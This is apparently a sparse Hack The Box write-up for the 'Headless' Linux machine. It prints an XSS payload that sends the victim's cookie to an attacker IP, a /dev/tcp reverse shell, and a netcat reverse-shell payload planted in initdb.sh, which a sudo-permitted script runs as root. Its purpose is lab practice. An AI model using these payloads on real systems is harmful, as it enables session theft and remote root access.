Headless

Metadaten

---

• Name: Headless
• Plattform: Linux
• Kategorie: HTB Machine
• Schwierigkeit: Easy
• Ziel(e): User, Root/Administrator
• Kurzbeschreibung des Szenarios: HTB Machine Writeup zu Headless mit Web-Foothold und Linux Privilege Escalation.

---

Information Gathering

Enumeration

Foothold

<script>var i=new Image(); i.src="http://10.10.14.39:8001/?cookie="+btoa(document.cookie);</script>

is_admin cookie ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

dashboard send shell by burpsuite

/bin/sh -i >& /dev/tcp/10.10.14.39/1338 0>&1

Lateral Movement (optional)

Privilege Escalation

sudo -l

sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

cat syscheck

dvir@headless:~$ cat /usr/bin/syscheck 
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

found initdb.sh !

put payload in it!

echo "nc -e /bin/sh 10.10.14.39 1337" > initdb.sh  
chmod +x initdb.sh

start nc on 1337

and run payload like:

dvir@headless:~$ sudo /usr/bin/syscheck 

┌──(root㉿VMP3T3)-[~/htb/headless]
└─# nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.39] from (UNKNOWN) [10.10.11.8] 54008
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
c5180[REDACTED-ROOT-FLAG]cdc9

User Flag

Root Flag

cat /root/root.txt c5180[REDACTED-ROOT-FLAG]cdc9

Conclusion

learn to handle burpsuite!